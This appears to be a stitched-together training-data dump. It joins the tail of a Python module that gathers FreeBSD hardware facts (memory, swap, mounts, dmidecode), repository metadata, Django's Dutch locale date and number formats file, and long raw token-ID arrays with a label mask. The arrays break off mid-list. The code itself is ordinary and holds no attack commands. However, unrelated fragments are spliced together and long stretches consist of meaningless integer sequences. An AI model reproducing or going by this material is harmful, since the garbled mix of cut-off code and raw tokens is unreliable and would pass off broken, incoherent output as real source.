'vm.stats.vm.v_free_count' in line: freecount = int(data[1]) memory_facts['memtotal_mb'] = pagesize * pagecount // 1024 // 1024 memory_facts['memfree_mb'] = pagesize * freecount // 1024 // 1024 swapinfo = self.module.get_bin_path('swapinfo') if swapinfo: # Get swapinfo. swapinfo output looks like: # Device 1M-blocks Used Avail Capacity # /dev/ada0p3 314368 0 314368 0% # rc, out, err = self.module.run_command("%s -k" % swapinfo) lines = out.splitlines() if len(lines[-1]) == 0: lines.pop() data = lines[-1].split() if data[0] != 'Device': memory_facts['swaptotal_mb'] = int(data[1]) // 1024 memory_facts['swapfree_mb'] = int(data[3]) // 1024 return memory_facts @timeout() def get_mount_facts(self): mount_facts = {} mount_facts['mounts'] = [] fstab = get_file_content('/etc/fstab') if fstab: for line in fstab.splitlines(): if line.startswith('#') or line.strip() == '': continue fields = re.sub(r'\s+', ' ', line).split() mount_statvfs_info = get_mount_size(fields[1]) mount_info = {'mount': fields[1], 'device': fields[0], 'fstype': fields[2], 'options': fields[3]} mount_info.update(mount_statvfs_info) mount_facts['mounts'].append(mount_info) return mount_facts def get_device_facts(self): device_facts = {} sysdir = '/dev' device_facts['devices'] = {} drives = re.compile(r'(ada?\d+|da\d+|a?cd\d+)') # TODO: rc, disks, err = self.module.run_command("/sbin/sysctl kern.disks") slices = re.compile(r'(ada?\d+s\d+\w*|da\d+s\d+\w*)') if os.path.isdir(sysdir): dirlist = sorted(os.listdir(sysdir)) for device in dirlist: d = drives.match(device) if d: device_facts['devices'][d.group(1)] = [] s = slices.match(device) if s: device_facts['devices'][d.group(1)].append(s.group(1)) return device_facts def get_dmi_facts(self): ''' learn dmi facts from system Use dmidecode executable if available''' dmi_facts = {} # Fall back to using dmidecode, if available dmi_bin = self.module.get_bin_path('dmidecode') DMI_DICT = dict( bios_date='bios-release-date', bios_version='bios-version', form_factor='chassis-type', product_name='system-product-name', product_serial='system-serial-number', product_uuid='system-uuid', product_version='system-version', system_vendor='system-manufacturer' ) for (k, v) in DMI_DICT.items(): if dmi_bin is not None: (rc, out, err) = self.module.run_command('%s -s %s' % (dmi_bin, v)) if rc == 0: # Strip out commented lines (specific dmidecode output) # FIXME: why add the fact and then test if it is json? dmi_facts[k] = ''.join([line for line in out.splitlines() if not line.startswith('#')]) try: json.dumps(dmi_facts[k]) except UnicodeDecodeError: dmi_facts[k] = 'NA' else: dmi_facts[k] = 'NA' else: dmi_facts[k] = 'NA' return dmi_facts class FreeBSDHardwareCollector(HardwareCollector): _fact_class = FreeBSDHardware _platform = 'FreeBSD'
gpl-3.0
[ 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 646, 747, 199, 646, 2022, 199, 646, 295, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 16529, 14, 1095, 492, 22825, 1068, 12, 22825, 1068, 12852, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 2593, 492, 31886, 12, 2653, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 1208, 492, 664, 63, 493, 63, 1317, 12, 664, 63, 3956, 63, 890, 421, 199, 533, 2868, 15400, 23219, 8, 23219, 304, 272, 408, 272, 2868, 15400, 13, 6100, 5516, 402, 22825, 1068, 14, 221, 25022, 4402, 436, 11952, 9036, 26, 272, 446, 7573, 4624, 63, 887, 272, 446, 562, 2037, 1735, 63, 887, 272, 446, 11413, 4624, 63, 887, 272, 446, 11413, 2923, 63, 887, 272, 446, 12495, 334, 65, 769, 9, 272, 446, 12495, 63, 4630, 272, 446, 12495, 63, 835, 272, 446, 7256, 272, 408, 272, 4298, 275, 283, 10146, 15400, 7, 272, 577, 22076, 39, 63, 22679, 275, 1994, 1391, 15, 1065, 15, 12673, 14, 4930, 7, 339, 347, 13904, 8, 277, 12, 13736, 63, 5047, 29, 403, 304, 267, 14991, 63, 5047, 275, 1052, 398, 5033, 63, 5047, 275, 291, 14, 362, 63, 3541, 63, 5047, 342, 267, 4402, 63, 5047, 275, 291, 14, 362, 63, 4844, 63, 5047, 342, 267, 366, 2664, 63, 5047, 275, 291, 14, 362, 63, 68, 2664, 63, 5047, 342, 267, 2243, 63, 5047, 275, 291, 14, 362, 63, 1782, 63, 5047, 342, 398, 10760, 63, 5047, 275, 1052, 267, 862, 26, 288, 10760, 63, 5047, 275, 291, 14, 362, 63, 3956, 63, 5047, 342, 267, 871, 31886, 26, 288, 986, 398, 14991, 63, 5047, 14, 873, 8, 3541, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 4844, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 68, 2664, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 1782, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 3956, 63, 5047, 9, 398, 372, 14991, 63, 5047, 339, 347, 664, 63, 3541, 63, 5047, 8, 277, 304, 267, 5033, 63, 5047, 275, 1052, 267, 5033, 63, 5047, 459, 6459, 418, 275, 942, 267, 984, 8077, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 1274, 8077, 358, 267, 340, 984, 8077, 26, 288, 4819, 12, 734, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 3647, 83, 446, 78, 12073, 14, 78, 3541, 2, 450, 984, 8077, 12, 1104, 63, 1195, 29, 797, 9, 288, 5033, 63, 5047, 459, 6459, 63, 835, 418, 275, 734, 14, 1913, 342, 398, 30396, 63, 4930, 275, 664, 63, 493, 63, 1317, 8, 10146, 15400, 23219, 14, 17751, 654, 39, 63, 22679, 9, 267, 340, 440, 30396, 63, 4930, 26, 288, 862, 26, 355, 4819, 12, 30396, 63, 4930, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 8, 277, 14, 578, 14, 362, 63, 1393, 63, 515, 480, 12673, 1288, 1104, 63, 1195, 29, 797, 9, 288, 871, 2186, 26, 355, 30396, 63, 4930, 275, 2125, 398, 367, 1004, 315, 30396, 63, 4930, 14, 7644, 837, 288, 340, 283, 11011, 4881, 315, 1004, 26, 355, 5033, 275, 295, 14, 954, 8, 82, 7, 11011, 3427, 83, 7386, 519, 5151, 1004, 9, 355, 5033, 63, 5047, 459, 6459, 2278, 740, 8, 3541, 14, 1913, 1012, 288, 340, 283, 22455, 28504, 1126, 6170, 7, 315, 1004, 26, 355, 5033, 63, 5047, 459, 6459, 63, 4630, 418, 275, 1004, 14, 1294, 3430, 20, 61, 398, 372, 5033, 63, 5047, 339, 347, 664, 63, 4844, 63, 5047, 8, 277, 304, 267, 4402, 63, 5047, 275, 1052, 398, 984, 8077, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 1274, 8077, 358, 267, 340, 984, 8077, 26, 288, 4819, 12, 734, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 3647, 83, 4169, 14, 3200, 2, 450, 984, 8077, 12, 1104, 63, 1195, 29, 797, 9, 288, 367, 1004, 315, 734, 14, 7644, 837, 355, 666, 275, 1004, 14, 1294, 342, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 1606, 63, 890, 7, 315, 1004, 26, 490, 2034, 890, 275, 1109, 8, 576, 59, 17, 566, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 1606, 63, 835, 7, 315, 1004, 26, 490, 2034, 835, 275, 1109, 8, 576, 59, 17, 566, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 4624, 63, 835, 7, 315, 1004, 26, 490, 2867, 835, 275, 1109, 8, 576, 59, 17, 566, 288, 4402, 63, 5047, 459, 278, 2037, 1735, 63, 887, 418, 275, 2034, 890, 627, 2034, 835, 5001, 6619, 5001, 6619, 288, 4402, 63, 5047, 459, 5286, 4624, 63, 887, 418, 275, 2034, 890, 627, 2867, 835, 5001, 6619, 5001, 6619, 398, 11413, 815, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 9286, 815, 358, 267, 340, 11413, 815, 26, 288, 327, 2372, 11413, 815, 14, 221, 11413, 815, 1072, 10734, 2839, 26, 288, 327, 12272, 3515, 413, 45, 13, 4166, 258, 8051, 259, 16599, 1054, 8790, 6192, 288, 327, 1182, 2374, 15, 10641, 16, 80 ]
[ 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 646, 747, 199, 646, 2022, 199, 646, 295, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 16529, 14, 1095, 492, 22825, 1068, 12, 22825, 1068, 12852, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 2593, 492, 31886, 12, 2653, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 5047, 14, 1208, 492, 664, 63, 493, 63, 1317, 12, 664, 63, 3956, 63, 890, 421, 199, 533, 2868, 15400, 23219, 8, 23219, 304, 272, 408, 272, 2868, 15400, 13, 6100, 5516, 402, 22825, 1068, 14, 221, 25022, 4402, 436, 11952, 9036, 26, 272, 446, 7573, 4624, 63, 887, 272, 446, 562, 2037, 1735, 63, 887, 272, 446, 11413, 4624, 63, 887, 272, 446, 11413, 2923, 63, 887, 272, 446, 12495, 334, 65, 769, 9, 272, 446, 12495, 63, 4630, 272, 446, 12495, 63, 835, 272, 446, 7256, 272, 408, 272, 4298, 275, 283, 10146, 15400, 7, 272, 577, 22076, 39, 63, 22679, 275, 1994, 1391, 15, 1065, 15, 12673, 14, 4930, 7, 339, 347, 13904, 8, 277, 12, 13736, 63, 5047, 29, 403, 304, 267, 14991, 63, 5047, 275, 1052, 398, 5033, 63, 5047, 275, 291, 14, 362, 63, 3541, 63, 5047, 342, 267, 4402, 63, 5047, 275, 291, 14, 362, 63, 4844, 63, 5047, 342, 267, 366, 2664, 63, 5047, 275, 291, 14, 362, 63, 68, 2664, 63, 5047, 342, 267, 2243, 63, 5047, 275, 291, 14, 362, 63, 1782, 63, 5047, 342, 398, 10760, 63, 5047, 275, 1052, 267, 862, 26, 288, 10760, 63, 5047, 275, 291, 14, 362, 63, 3956, 63, 5047, 342, 267, 871, 31886, 26, 288, 986, 398, 14991, 63, 5047, 14, 873, 8, 3541, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 4844, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 68, 2664, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 1782, 63, 5047, 9, 267, 14991, 63, 5047, 14, 873, 8, 3956, 63, 5047, 9, 398, 372, 14991, 63, 5047, 339, 347, 664, 63, 3541, 63, 5047, 8, 277, 304, 267, 5033, 63, 5047, 275, 1052, 267, 5033, 63, 5047, 459, 6459, 418, 275, 942, 267, 984, 8077, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 1274, 8077, 358, 267, 340, 984, 8077, 26, 288, 4819, 12, 734, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 3647, 83, 446, 78, 12073, 14, 78, 3541, 2, 450, 984, 8077, 12, 1104, 63, 1195, 29, 797, 9, 288, 5033, 63, 5047, 459, 6459, 63, 835, 418, 275, 734, 14, 1913, 342, 398, 30396, 63, 4930, 275, 664, 63, 493, 63, 1317, 8, 10146, 15400, 23219, 14, 17751, 654, 39, 63, 22679, 9, 267, 340, 440, 30396, 63, 4930, 26, 288, 862, 26, 355, 4819, 12, 30396, 63, 4930, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 8, 277, 14, 578, 14, 362, 63, 1393, 63, 515, 480, 12673, 1288, 1104, 63, 1195, 29, 797, 9, 288, 871, 2186, 26, 355, 30396, 63, 4930, 275, 2125, 398, 367, 1004, 315, 30396, 63, 4930, 14, 7644, 837, 288, 340, 283, 11011, 4881, 315, 1004, 26, 355, 5033, 275, 295, 14, 954, 8, 82, 7, 11011, 3427, 83, 7386, 519, 5151, 1004, 9, 355, 5033, 63, 5047, 459, 6459, 2278, 740, 8, 3541, 14, 1913, 1012, 288, 340, 283, 22455, 28504, 1126, 6170, 7, 315, 1004, 26, 355, 5033, 63, 5047, 459, 6459, 63, 4630, 418, 275, 1004, 14, 1294, 3430, 20, 61, 398, 372, 5033, 63, 5047, 339, 347, 664, 63, 4844, 63, 5047, 8, 277, 304, 267, 4402, 63, 5047, 275, 1052, 398, 984, 8077, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 1274, 8077, 358, 267, 340, 984, 8077, 26, 288, 4819, 12, 734, 12, 2329, 275, 291, 14, 578, 14, 1065, 63, 1531, 3647, 83, 4169, 14, 3200, 2, 450, 984, 8077, 12, 1104, 63, 1195, 29, 797, 9, 288, 367, 1004, 315, 734, 14, 7644, 837, 355, 666, 275, 1004, 14, 1294, 342, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 1606, 63, 890, 7, 315, 1004, 26, 490, 2034, 890, 275, 1109, 8, 576, 59, 17, 566, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 1606, 63, 835, 7, 315, 1004, 26, 490, 2034, 835, 275, 1109, 8, 576, 59, 17, 566, 355, 340, 283, 2611, 14, 3200, 14, 2611, 14, 86, 63, 4624, 63, 835, 7, 315, 1004, 26, 490, 2867, 835, 275, 1109, 8, 576, 59, 17, 566, 288, 4402, 63, 5047, 459, 278, 2037, 1735, 63, 887, 418, 275, 2034, 890, 627, 2034, 835, 5001, 6619, 5001, 6619, 288, 4402, 63, 5047, 459, 5286, 4624, 63, 887, 418, 275, 2034, 890, 627, 2867, 835, 5001, 6619, 5001, 6619, 398, 11413, 815, 275, 291, 14, 578, 14, 362, 63, 1393, 63, 515, 360, 9286, 815, 358, 267, 340, 11413, 815, 26, 288, 327, 2372, 11413, 815, 14, 221, 11413, 815, 1072, 10734, 2839, 26, 288, 327, 12272, 3515, 413, 45, 13, 4166, 258, 8051, 259, 16599, 1054, 8790, 6192, 288, 327, 1182, 2374, 15, 10641, 16, 80, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
peterlauri/django
django/conf/locale/nl/formats.py
504
4472
# -*- encoding: utf-8 -*- # This file is distributed under the same license as the Django package. # from __future__ import unicode_literals # The *_FORMAT strings use the Django date format syntax, # see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATE_FORMAT = 'j F Y' # '20 januari 2009' TIME_FORMAT = 'H:i' # '15:23' DATETIME_FORMAT = 'j F Y H:i' # '20 januari 2009 15:23' YEAR_MONTH_FORMAT = 'F Y' # 'januari 2009' MONTH_DAY_FORMAT = 'j F' # '20 januari' SHORT_DATE_FORMAT = 'j-n-Y' # '20-1-2009' SHORT_DATETIME_FORMAT = 'j-n-Y H:i' # '20-1-2009 15:23' FIRST_DAY_OF_WEEK = 1 # Monday (in Dutch 'maandag') # The *_INPUT_FORMATS strings use the Python strftime format syntax, # see http://docs.python.org/library/datetime.html#strftime-strptime-behavior DATE_INPUT_FORMATS = [ '%d-%m-%Y', '%d-%m-%y', # '20-01-2009', '20-01-09' '%d/%m/%Y', '%d/%m/%y', # '20/01/2009', '20/01/09' # '%d %b %Y', '%d %b %y', # '20 jan 2009', '20 jan 09' # '%d %B %Y', '%d %B %y', # '20 januari 2009', '20 januari 09' ] # Kept ISO formats as one is in first position TIME_INPUT_FORMATS = [ '%H:%M:%S', # '15:23:35' '%H:%M:%S.%f', # '15:23:35.000200' '%H.%M:%S', # '15.23:35' '%H.%M:%S.%f', # '15.23:35.000200' '%H.%M', # '15.23' '%H:%M', # '15:23' ] DATETIME_INPUT_FORMATS = [ # With time in %H:%M:%S : '%d-%m-%Y %H:%M:%S', '%d-%m-%y %H:%M:%S', '%Y-%m-%d %H:%M:%S', # '20-01-2009 15:23:35', '20-01-09 15:23:35', '2009-01-20 15:23:35' '%d/%m/%Y %H:%M:%S', '%d/%m/%y %H:%M:%S', '%Y/%m/%d %H:%M:%S', # '20/01/2009 15:23:35', '20/01/09 15:23:35', '2009/01/20 15:23:35' # '%d %b %Y %H:%M:%S', '%d %b %y %H:%M:%S', # '20 jan 2009 15:23:35', '20 jan 09 15:23:35' # '%d %B %Y %H:%M:%S', '%d %B %y %H:%M:%S', # '20 januari 2009 15:23:35', '20 januari 2009 15:23:35' # With time in %H:%M:%S.%f : '%d-%m-%Y %H:%M:%S.%f', '%d-%m-%y %H:%M:%S.%f', '%Y-%m-%d %H:%M:%S.%f', # '20-01-2009 15:23:35.000200', '20-01-09 15:23:35.000200', '2009-01-20 15:23:35.000200' '%d/%m/%Y %H:%M:%S.%f', '%d/%m/%y %H:%M:%S.%f', '%Y/%m/%d %H:%M:%S.%f', # '20/01/2009 15:23:35.000200', '20/01/09 15:23:35.000200', '2009/01/20 15:23:35.000200' # With time in %H.%M:%S : '%d-%m-%Y %H.%M:%S', '%d-%m-%y %H.%M:%S', # '20-01-2009 15.23:35', '20-01-09 15.23:35' '%d/%m/%Y %H.%M:%S', '%d/%m/%y %H.%M:%S', # '20/01/2009 15.23:35', '20/01/09 15.23:35' # '%d %b %Y %H.%M:%S', '%d %b %y %H.%M:%S', # '20 jan 2009 15.23:35', '20 jan 09 15.23:35' # '%d %B %Y %H.%M:%S', '%d %B %y %H.%M:%S', # '20 januari 2009 15.23:35', '20 januari 2009 15.23:35' # With time in %H.%M:%S.%f : '%d-%m-%Y %H.%M:%S.%f', '%d-%m-%y %H.%M:%S.%f', # '20-01-2009 15.23:35.000200', '20-01-09 15.23:35.000200' '%d/%m/%Y %H.%M:%S.%f', '%d/%m/%y %H.%M:%S.%f', # '20/01/2009 15.23:35.000200', '20/01/09 15.23:35.000200' # With time in %H:%M : '%d-%m-%Y %H:%M', '%d-%m-%y %H:%M', '%Y-%m-%d %H:%M', # '20-01-2009 15:23', '20-01-09 15:23', '2009-01-20 15:23' '%d/%m/%Y %H:%M', '%d/%m/%y %H:%M', '%Y/%m/%d %H:%M', # '20/01/2009 15:23', '20/01/09 15:23', '2009/01/20 15:23' # '%d %b %Y %H:%M', '%d %b %y %H:%M', # '20 jan 2009 15:23', '20 jan 09 15:23' # '%d %B %Y %H:%M', '%d %B %y %H:%M', # '20 januari 2009 15:23', '20 januari 2009 15:23' # With time in %H.%M : '%d-%m-%Y %H.%M', '%d-%m-%y %H.%M', # '20-01-2009 15.23', '20-01-09 15.23' '%d/%m/%Y %H.%M', '%d/%m/%y %H.%M', # '20/01/2009 15.23', '20/01/09 15.23' # '%d %b %Y %H.%M', '%d %b %y %H.%M', # '20 jan 2009 15.23', '20 jan 09 15.23' # '%d %B %Y %H.%M', '%d %B %y %H.%M', # '20 januari 2009 15.23', '20 januari 2009 15.23' # Without time : '%d-%m-%Y', '%d-%m-%y', '%Y-%m-%d', # '20-01-2009', '20-01-09', '2009-01-20' '%d/%m/%Y', '%d/%m/%y', '%Y/%m/%d', # '20/01/2009', '20/01/09', '2009/01/20' # '%d %b %Y', '%d %b %y', # '20 jan 2009', '20 jan 09' # '%d %B %Y', '%d %B %y', # '20 januari 2009', '20 januari 2009' ] DECIMAL_SEPARATOR = ',' THOUSAND_SEPARATOR = '.' NUMBER_GROUPING = 3
bsd-3-clause
[ 3, 1882, 2644, 26, 2774, 13, 24, 1882, 199, 3, 961, 570, 365, 1854, 1334, 314, 2011, 4190, 465, 314, 5634, 2559, 14, 199, 3, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 3, 710, 20841, 4807, 3326, 675, 314, 5634, 1434, 1475, 6302, 12, 199, 3, 1937, 1455, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 2374, 15, 1121, 15, 5876, 15, 10372, 12645, 602, 199, 5390, 63, 4807, 275, 283, 74, 481, 1488, 7, 7861, 327, 283, 1165, 1335, 290, 85, 759, 8937, 7, 199, 4961, 63, 4807, 275, 283, 40, 26, 73, 7, 9326, 327, 283, 1046, 26, 1789, 7, 199, 12488, 63, 4807, 275, 283, 74, 481, 1488, 869, 26, 73, 7, 3698, 327, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 7, 199, 19216, 63, 16413, 63, 4807, 275, 283, 38, 1488, 7, 5185, 327, 283, 24418, 85, 759, 8937, 7, 199, 16413, 63, 11655, 63, 4807, 275, 283, 74, 481, 7, 4483, 327, 283, 1165, 1335, 290, 85, 759, 7, 199, 13003, 63, 5390, 63, 4807, 275, 283, 74, 13, 78, 13, 57, 7, 3777, 327, 283, 1165, 13, 17, 13, 8664, 7, 199, 13003, 63, 12488, 63, 4807, 275, 283, 74, 13, 78, 13, 57, 869, 26, 73, 7, 258, 327, 283, 1165, 13, 17, 13, 8664, 4114, 26, 1789, 7, 199, 12903, 63, 11655, 63, 3359, 63, 24929, 275, 413, 7861, 327, 32740, 334, 262, 577, 337, 335, 283, 391, 460, 643, 358, 199, 199, 3, 710, 20841, 7321, 63, 14019, 3326, 675, 314, 2018, 14053, 1475, 6302, 12, 199, 3, 1937, 1455, 921, 4757, 14, 1548, 14, 1308, 15, 4342, 15, 2083, 14, 1360, 3, 6205, 13, 9866, 13, 17537, 199, 5390, 63, 7321, 63, 14019, 275, 359, 272, 1543, 68, 3295, 77, 3295, 57, 297, 1543, 68, 3295, 77, 3295, 89, 297, 3777, 327, 283, 1165, 13, 614, 13, 8664, 297, 283, 1165, 13, 614, 13, 1643, 7, 272, 1543, 68, 3149, 77, 3149, 57, 297, 1543, 68, 3149, 77, 3149, 89, 297, 3777, 327, 283, 1165, 15, 614, 15, 8664, 297, 283, 1165, 15, 614, 15, 1643, 7, 272, 327, 1543, 68, 450, 66, 450, 57, 297, 1543, 68, 450, 66, 450, 89, 297, 3698, 327, 283, 1165, 1335, 290, 8937, 297, 283, 1165, 1335, 290, 21798, 7, 272, 327, 1543, 68, 450, 34, 450, 57, 297, 1543, 68, 450, 34, 450, 89, 297, 3698, 327, 283, 1165, 1335, 290, 85, 759, 8937, 297, 283, 1165, 1335, 290, 85, 759, 21798, 7, 199, 61, 199, 3, 25645, 541, 9055, 6752, 465, 1373, 365, 315, 1642, 3421, 199, 4961, 63, 7321, 63, 14019, 275, 359, 272, 1543, 40, 2689, 45, 2689, 51, 297, 12793, 327, 283, 1046, 26, 1789, 26, 1276, 7, 272, 1543, 40, 2689, 45, 2689, 51, 4111, 70, 297, 10473, 327, 283, 1046, 26, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 40, 4111, 45, 2689, 51, 297, 12793, 327, 283, 1046, 14, 1789, 26, 1276, 7, 272, 1543, 40, 4111, 45, 2689, 51, 4111, 70, 297, 10473, 327, 283, 1046, 14, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 40, 4111, 45, 297, 14960, 327, 283, 1046, 14, 1789, 7, 272, 1543, 40, 2689, 45, 297, 14960, 327, 283, 1046, 26, 1789, 7, 199, 61, 199, 12488, 63, 7321, 63, 14019, 275, 359, 272, 327, 8777, 900, 315, 450, 40, 2689, 45, 2689, 51, 520, 272, 1543, 68, 3295, 77, 3295, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 3295, 77, 3295, 89, 450, 40, 2689, 45, 2689, 51, 297, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 297, 272, 327, 283, 1165, 13, 614, 13, 8664, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 13, 614, 13, 1643, 4114, 26, 1789, 26, 1276, 297, 283, 8664, 13, 614, 13, 1165, 4114, 26, 1789, 26, 1276, 7, 272, 1543, 68, 3149, 77, 3149, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 3149, 77, 3149, 89, 450, 40, 2689, 45, 2689, 51, 297, 1543, 57, 3149, 77, 3149, 68, 450, 40, 2689, 45, 2689, 51, 297, 272, 327, 283, 1165, 15, 614, 15, 8664, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 15, 614, 15, 1643, 4114, 26, 1789, 26, 1276, 297, 283, 8664, 15, 614, 15, 1165, 4114, 26, 1789, 26, 1276, 7, 272, 327, 1543, 68, 450, 66, 450, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 450, 66, 450, 89, 450, 40, 2689, 45, 2689, 51, 297, 257, 327, 283, 1165, 1335, 290, 8937, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 1335, 290, 21798, 4114, 26, 1789, 26, 1276, 7, 272, 327, 1543, 68, 450, 34, 450, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 450, 34, 450, 89, 450, 40, 2689, 45, 2689, 51, 297, 257, 327, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 26, 1276, 7, 272, 327, 8777, 900, 315, 450, 40, 2689, 45, 2689, 51, 4111, 70, 520, 272, 1543, 68, 3295, 77, 3295, 57, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 68, 3295, 77, 3295, 89, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 272, 327, 283, 1165, 13, 614, 13, 8664, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 1165, 13, 614, 13, 1643, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 8664, 13, 614, 13, 1165, 4114, 26, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 68, 3149, 77, 3149, 57, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 68, 3149, 77, 3149, 89, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 57, 